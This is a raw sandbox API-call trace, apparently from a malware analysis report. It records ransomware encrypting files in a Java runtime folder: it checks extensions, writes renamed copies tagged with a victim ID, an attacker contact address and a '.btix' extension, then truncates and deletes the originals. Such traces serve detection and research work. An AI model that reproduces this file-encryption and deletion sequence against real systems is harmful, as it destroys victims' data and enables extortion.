[0132.690] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0132.690] lstrlenW (lpString=".bz2") returned 4 [0132.690] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0132.690] lstrlenW (lpString=".7z") returned 3 [0132.690] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0132.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0132.690] lstrlenW (lpString=".dbf") returned 4 [0132.690] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0132.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0132.690] lstrlenW (lpString=".1cd") returned 4 [0132.691] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0132.691] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0132.691] lstrlenW (lpString=".jpg") returned 4 [0132.691] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0132.691] lstrcmpiW (lpString1=".jfc", lpString2=".btix") returned 1 [0132.691] lstrlenW (lpString="profile.jfc") returned 11 [0132.691] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0132.691] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=20065) returned 1 [0132.691] CloseHandle (hObject=0x4b8) returned 1 [0132.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20 [0132.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.692] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0132.692] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.692] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.692] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0132.692] GetLastError () returned 0x0 [0132.692] ReadFile (in: hFile=0x4b8, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x4e61, lpOverlapped=0x0) returned 1 [0132.912] WriteFile (in: hFile=0x4dc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x4e70, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x4e70, lpOverlapped=0x0) returned 1 [0132.913] ReadFile (in: hFile=0x4b8, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.913] WriteFile (in: hFile=0x4dc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xea, lpOverlapped=0x0) returned 1 [0132.913] SetEndOfFile (hFile=0x4dc) returned 1 [0133.132] CloseHandle (hObject=0x4dc) returned 1 [0133.133] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.133] SetEndOfFile (hFile=0x4b8) returned 1 [0133.135] CloseHandle (hObject=0x4b8) returned 1 [0133.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0133.136] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 1 [0133.139] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0133.139] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0133.139] lstrlenW (lpString=".doc") returned 4 [0133.139] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0133.139] lstrlenW (lpString=".docx") returned 5 [0133.139] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0133.139] lstrlenW (lpString=".pdf") returned 4 [0133.139] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0133.139] lstrlenW (lpString=".xls") returned 4 [0133.139] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0133.139] lstrlenW (lpString=".xlsx") returned 5 [0133.139] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0133.139] lstrlenW (lpString=".ppt") returned 4 [0133.139] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0133.139] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0133.139] lstrlenW (lpString=".zip") returned 4 [0133.139] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0133.140] lstrlenW (lpString=".rar") returned 4 [0133.140] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0133.140] lstrlenW (lpString=".bz2") returned 4 [0133.140] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0133.140] lstrlenW (lpString=".7z") returned 3 [0133.140] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0133.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0133.140] lstrlenW (lpString=".dbf") returned 4 [0133.140] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0133.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0133.140] lstrlenW (lpString=".1cd") returned 4 [0133.140] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0133.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0133.140] lstrlenW (lpString=".jpg") returned 4 [0133.140] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0133.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0133.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0133.140] lstrlenW (lpString=".doc") returned 4 [0133.140] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0133.140] lstrlenW (lpString=".docx") returned 5 [0133.140] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0133.140] lstrlenW (lpString=".pdf") returned 4 [0133.140] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0133.140] lstrlenW (lpString=".xls") returned 4 [0133.140] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0133.140] lstrlenW (lpString=".xlsx") returned 5 [0133.140] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0133.140] lstrlenW (lpString=".ppt") returned 4 [0133.140] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0133.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0133.140] lstrlenW (lpString=".zip") returned 4 [0133.141] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0133.141] lstrlenW (lpString=".rar") returned 4 [0133.141] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0133.141] lstrlenW (lpString=".bz2") returned 4 [0133.141] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0133.141] lstrlenW (lpString=".7z") returned 3 [0133.141] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0133.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0133.141] lstrlenW (lpString=".dbf") returned 4 [0133.141] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0133.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0133.141] lstrlenW (lpString=".1cd") returned 4 [0133.141] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0133.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0133.141] lstrlenW (lpString=".jpg") returned 4 [0133.141] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0133.141] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0133.141] lstrlenW (lpString="logging.properties") returned 18 [0133.141] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0133.142] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=2455) returned 1 [0133.142] CloseHandle (hObject=0x4b8) returned 1 [0133.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20 [0133.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.142] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0133.142] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.142] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.142] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0133.143] GetLastError () returned 0x0 [0133.143] ReadFile (in: hFile=0x4b8, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x997, lpOverlapped=0x0) returned 1 [0133.145] WriteFile (in: hFile=0x4dc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x9a0, lpOverlapped=0x0) returned 1 [0133.145] ReadFile (in: hFile=0x4b8, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.146] WriteFile (in: hFile=0x4dc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xf8, lpOverlapped=0x0) returned 1 [0133.146] SetEndOfFile (hFile=0x4dc) returned 1 [0133.146] CloseHandle (hObject=0x4dc) returned 1 [0133.146] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.146] SetEndOfFile (hFile=0x4b8) returned 1 [0133.148] CloseHandle (hObject=0x4b8) returned 1 [0133.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0133.149] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 1 [0133.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0133.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0133.149] lstrlenW (lpString=".doc") returned 4 [0133.149] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0133.149] lstrlenW (lpString=".docx") returned 5 [0133.149] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0133.149] lstrlenW (lpString=".pdf") returned 4 [0133.149] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0133.149] lstrlenW (lpString=".xls") returned 4 [0133.149] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0133.149] lstrlenW (lpString=".xlsx") returned 5 [0133.149] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0133.149] lstrlenW (lpString=".ppt") returned 4 [0133.149] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0133.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0133.149] lstrlenW (lpString=".zip") returned 4 [0133.150] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0133.150] lstrlenW (lpString=".rar") returned 4 [0133.150] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0133.150] lstrlenW (lpString=".bz2") returned 4 [0133.150] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0133.150] lstrlenW (lpString=".7z") returned 3 [0133.150] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0133.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0133.150] lstrlenW (lpString=".dbf") returned 4 [0133.150] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0133.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0133.150] lstrlenW (lpString=".1cd") returned 4 [0133.150] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0133.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0133.150] lstrlenW (lpString=".jpg") returned 4 [0133.150] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0133.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0133.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0133.150] lstrlenW (lpString=".doc") returned 4 [0133.150] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0133.150] lstrlenW (lpString=".docx") returned 5 [0133.150] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0133.150] lstrlenW (lpString=".pdf") returned 4 [0133.150] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0133.150] lstrlenW (lpString=".xls") returned 4 [0133.150] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0133.150] lstrlenW (lpString=".xlsx") returned 5 [0133.150] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0133.150] lstrlenW (lpString=".ppt") returned 4 [0133.150] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0133.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0133.151] lstrlenW (lpString=".zip") returned 4 [0133.151] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0133.151] lstrlenW (lpString=".rar") returned 4 [0133.151] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0133.151] lstrlenW (lpString=".bz2") returned 4 [0133.151] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0133.151] lstrlenW (lpString=".7z") returned 3 [0133.151] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0133.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0133.151] lstrlenW (lpString=".dbf") returned 4 [0133.151] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0133.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0133.151] lstrlenW (lpString=".1cd") returned 4 [0133.151] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0133.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0133.151] lstrlenW (lpString=".jpg") returned 4 [0133.151] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0133.151] lstrcmpiW (lpString1=".access", lpString2=".btix") returned -1 [0133.151] lstrlenW (lpString="jmxremote.access") returned 16 [0133.151] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0133.153] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3998) returned 1 [0133.153] CloseHandle (hObject=0x4b8) returned 1 [0133.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20 [0133.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.154] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0133.154] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.154] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.154] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0133.157] GetLastError () returned 0x0 [0133.157] ReadFile (in: hFile=0x4b8, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0xf9e, lpOverlapped=0x0) returned 1 [0133.354] WriteFile (in: hFile=0x4dc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0133.355] ReadFile (in: hFile=0x4b8, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.355] WriteFile (in: hFile=0x4dc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xf4, lpOverlapped=0x0) returned 1 [0133.355] SetEndOfFile (hFile=0x4dc) returned 1 [0133.355] CloseHandle (hObject=0x4dc) returned 1 [0133.355] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.355] SetEndOfFile (hFile=0x4b8) returned 1 [0133.357] CloseHandle (hObject=0x4b8) returned 1 [0133.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0133.358] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 1 [0133.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0133.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0133.358] lstrlenW (lpString=".doc") returned 4 [0133.358] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0133.359] lstrlenW (lpString=".docx") returned 5 [0133.359] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0133.359] lstrlenW (lpString=".pdf") returned 4 [0133.359] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0133.359] lstrlenW (lpString=".xls") returned 4 [0133.359] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0133.359] lstrlenW (lpString=".xlsx") returned 5 [0133.359] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0133.359] lstrlenW (lpString=".ppt") returned 4 [0133.359] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0133.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0133.359] lstrlenW (lpString=".zip") returned 4 [0133.359] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0133.359] lstrlenW (lpString=".rar") returned 4 [0133.359] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0133.359] lstrlenW (lpString=".bz2") returned 4 [0133.359] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0133.359] lstrlenW (lpString=".7z") returned 3 [0133.359] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0133.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0133.359] lstrlenW (lpString=".dbf") returned 4 [0133.359] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0133.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0133.359] lstrlenW (lpString=".1cd") returned 4 [0133.359] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0133.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0133.359] lstrlenW (lpString=".jpg") returned 4 [0133.359] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0133.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0133.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0133.359] lstrlenW (lpString=".doc") returned 4 [0133.359] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0133.359] lstrlenW (lpString=".docx") returned 5 [0133.359] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0133.359] lstrlenW (lpString=".pdf") returned 4 [0133.359] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0133.359] lstrlenW (lpString=".xls") returned 4 [0133.360] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0133.360] lstrlenW (lpString=".xlsx") returned 5 [0133.360] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0133.360] lstrlenW (lpString=".ppt") returned 4 [0133.360] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0133.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0133.360] lstrlenW (lpString=".zip") returned 4 [0133.360] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0133.360] lstrlenW (lpString=".rar") returned 4 [0133.360] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0133.360] lstrlenW (lpString=".bz2") returned 4 [0133.360] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0133.360] lstrlenW (lpString=".7z") returned 3 [0133.360] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0133.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0133.360] lstrlenW (lpString=".dbf") returned 4 [0133.360] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0133.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0133.360] lstrlenW (lpString=".1cd") returned 4 [0133.360] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0133.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0133.360] lstrlenW (lpString=".jpg") returned 4 [0133.360] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0133.360] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0133.360] lstrlenW (lpString="management.properties") returned 21 [0133.360] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0133.714] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=14630) returned 1 [0133.714] CloseHandle (hObject=0x4a8) returned 1 